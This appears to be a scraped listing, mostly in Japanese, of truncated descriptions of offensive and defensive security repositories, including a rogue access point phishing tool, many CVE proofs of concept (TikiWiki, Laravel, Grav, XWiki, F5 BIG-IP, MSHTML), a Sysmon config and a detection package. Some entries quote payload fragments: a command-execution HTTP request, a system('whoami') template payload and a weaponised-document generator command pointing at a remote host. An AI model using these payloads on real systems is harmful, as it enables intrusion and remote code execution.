evilTrust

evilTrust Rogue AP 를 자동으로 배포하고 템플릿 선택 + 2FA 기능을 갖춘 이상적인 도구입니다. 이 도구는 여러 템플릿을 제공하며, 공격자가 자신만의 템플릿을 배포할 수 있는 사용자 정의 템플릿 옵션도 포함되어 있습니다. 중요 : 유선 연결이 필요하지 않으므로 언제 어디서나 공격을 배포할 수 있습니다. 이제 그래픽 인터페이스GUI를 지원합니다! 작동 방식 도구는 공격 배포에 필요한 유틸리티를 확인하는 것으로 시작합니다: 확인이 완료되면 사용 가능한 네트워크 인터페이스가 나열되며, 이 시점에서 모니터 모드로 설정...

sysmon-config

sysmon-config | みんながフォークできるSysmon設定ファイル これは、デフォルトの高品質なイベントトレースを備えたMicrosoft Sysinternals Sysmon設定ファイルのテンプレートです。 このファイルは、自己完結型でアクセスしやすいパッケージとして、システム変更監視の優れた出発点となるはずです。この設定とその結果は、Sysmonで何が可能かを理解するのに役立ちます。なお、これは認証やインシデント調査にも重要なその他のWindowsイベントは追跡しません。 sysmonconfig-export.xml...

CVE-2020-29254

CVE-2020-29254 TikiWiki 21.2 では、CSRF 対策なしでテンプレートを編集することができます。 ========================== クロスサイト・リクエスト・フォージェリ CSRF: TikiWiki 21.2 では、CSRF 対策なしでテンプレートを編集することができます。これにより、認証されていないリモートの攻撃者がクロスサイト・リクエスト・フォージェリ CSRF 攻撃を実行し、影響を受けるシステム上で任意の操作を行う可能性があります。この脆弱性は、影響を受けるシステムの Web ベース管理インターフェースに対する CSRF...

CVE-2025-1661

CVE-2025-1661 - HUSKY – Products Filter Professional for WooCommerce における未認証のローカルファイルインクルージョン LFI 説明 WordPress用プラグイン HUSKY – Products Filter Professional for WooCommerce は、wooftextsearch AJAXアクションの template パラメータを介して、1.3.6.5 までのすべてのバージョンにおいて ローカルファイルインクルージョン LFI の脆弱性の影響を受けます。 これにより、未認証の攻撃者...

CVE-2021-23369

CVE-2021-23369 Handlebars CVE-2021-23369 の脆弱性 pip install requests URL を入力してください : 脆弱性の説明 handlebars パッケージの 4.7.7 より前のバージョンは、信頼できないソースからのテンプレートをコンパイルするために特定のコンパイルオプションを選択した場合、リモートコード実行 RCE に対して脆弱です。...

peda

peda PEDA - Python Exploit Development Assistance for GDB Key Features: Enhance the display of gdb: colorize and display disassembly codes, registers, memory information during debugging. Add commands to support debugging and exploit development for a full list of commands use peda help: aslr --...

CVE-2021-3129

CVE-2021-3129 Laravel debug rce 食用方法 执行docker-compse up -d启动环境 访问8888端口后点击首页面的generate key就可以复现了 关于docker环境想说的几点： 把.env.example复制到.env作用是开启debug环境 关闭了php.ini的phar.readonly 在resources/view/里添加了一个hello模板并引用了一个未定义变量，同时在routes/web.php添加路由这个我加在源码里了，没写dockerfile里 复现效果 脚本已放出，脚本要和phpggc项目文件夹在同一级目录下。...

Graver

Graver 説明 Grav CMS CVE-2024-28116 の認証されたSSTI+RCEを悪用するPoCスクリプトです。 脆弱なGrav CMSが動作しているサーバーに悪意のあるRCEページを作成します。 参考文献: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 注意事項 認証された脆弱性であるため、Grav CMSの編集者ユーザーの有効な認証情報（スクリプトにハードコード）を使用する必要があります。 使用方法 以下にツールの使用例を示します： python3 graver.py -t -p 出力付きの簡単な例： python3...

CVE-2021-23383

CVE-2021-23383 パッケージ handlebars のバージョン 4.7.7 未満は、信頼できないソースからのテンプレートをコンパイルする際に特定のコンパイルオプションを選択すると、Prototype Pollution に対して脆弱です。...

CVE-2025-24893-EXP

CVE-2025-24893-EXP 影響を受けるバージョン xwiki-platform = 5.3-milestone-2, = 16.0.0-rc-1, 16.4.1 16.0.0-rc-1, 16.4.1 PoC https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-24893.yaml CVE-2025-24893 - XWiki Platform エクスプロイト usage: python CVE-2025-24893.py -u -c 免責事項...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 用の Nuclei テンプレート。PoC には shadow ファイルを使用しましたが、passwd '/etc/passwd' ファイルも使用できます。お好みに応じて Extractor を変更してください。 POC 参考: https://support.f5.com/csp/article/K23605346...

CVE-2022-24086

CVE-2022-24682 PoC この検出方法はどのように機能しますか？ アドバイザリに記載されているように、8.8.15パッチ30（アップデート1）より前のバージョン8.8.xは攻撃に対して脆弱です。このテンプレートは以下のバージョンをチェックします： - "8.8" - "8.8.6" - "8.8.7" - "8.8.8" - "8.8.9" - "8.8.10" - "8.8.11" - "8.8.12" - "8.8.15" このスクリプトを実行するには？ 1. こちらからNucleiをダウンロードします 2. テンプレートをローカルシステムにコピーします 3...

CVE-2021-40444

CVE-2021-40444 使用方法 最初に setup.sh を実行してください。いくつかのディレクトリが必要になります。スクリプトを実行すると、以下の例で gen.py を実行できるようになります:- Usage python3 gen.py -d document/Sample.docx -p payload/payload.dll -i "http://10.10.10.10" -t html/template.html -c payload.cab -f nothing.inf -r Sample2.docx -obf 3 Flag -d - Our .docx file...

CVE-2019-17558_Solr_Vul_Tool

Solr Velocity テンプレートインジェクション脆弱性検出ツール ツール紹介 2019年10月末にSolr Velocityテンプレートインジェクションのリモートコマンド実行脆弱性が公表されました。手動でこの脆弱性を検出するにはburpでパケットをキャプチャして改変する作業を何度も繰り返す必要があり、効率が低いため、この小ツールを作成しました。ワンクリックでの脆弱性検出、コマンド実行、リバースシェルをサポートしています。issue歓迎です。本ツールはセキュリティ従事者が法令で認められた範囲内でのみ使用できます。違反して使用した場合の結果は自己責任となります。 実行環境...

CVE-2024-23692

CVE-2024-23692 Burp PoC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

CVE-2019-5418

CVE-2019-5418 1. 脆弱性の説明 Ruby on RailsはWebアプリケーションフレームワークであり、比較的新しいフレームワークで、Ruby言語上に構築されています。この脆弱性は主に、Ruby on Railsが指定されたパラメータのrender fileを使用してアプリケーション外のビューをレンダリングすることに起因します。特定のコントローラにアクセスするリクエストパケットを変更し、「…/…/…/…/」を使用してパストラバーサルを達成し、次に「」を使用してテンプレートクエリパスを閉じることにより、対象のファイルが外部テンプレートとして解析されるようにします。 3...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

Nucleiテンプレート Exploit F5 BIG-IP iControl REST Auth Bypass RCE | コマンドパラメータ CVE-2022-1388 は、BIG-IP の iControl API の REST コンポーネントにおける認証バイパスの脆弱性であり、CVSSv3 スコア 9.8 が割り当てられています。iControl REST API は、BIG-IP デバイスの管理と設定に使用されます。CVE-2022-1388 は、BIG-IP を使用するデバイスの管理ポートまたはセルフ IP...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 の PoC var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2025-4524

CVE-2025-4524 - 認証されていない madara-core WordPress テーマ LFI WordFence リンク 説明 madara の madaraloadmore アクションに脆弱性があります。ここでは template パラメータがユーザーからの任意のデータとして扱われ、PHP の include 関数に渡されます。 脆弱性 madara の madaraloadmore アクションに脆弱性があります。ここでは template パラメータがユーザーからの任意のデータとして扱われ、PHP の include 関数に渡されます。 脆弱なコードは以下のとおりです...

cve-2022-22954

CVE-2022-22954 このパッケージは、CVE-2022-22954 の試行およびエクスプロイトの一部を検出し、通知を生成し、またエクスプロイトURIと攻撃者に返信されたデータの最初の4KBをレスポンスとして含めます。この攻撃の検出はログ分析からより直接的に行えますが、このパッケージは攻撃者に返されたレスポンスをログに記録してインシデントレスポンスを支援します。 サンプル通知 このパッケージからは2種類の通知が生成されます。 VMWareRCE2022::ExploitAttempt、および VMWareRCE2022::ExploitSuccess...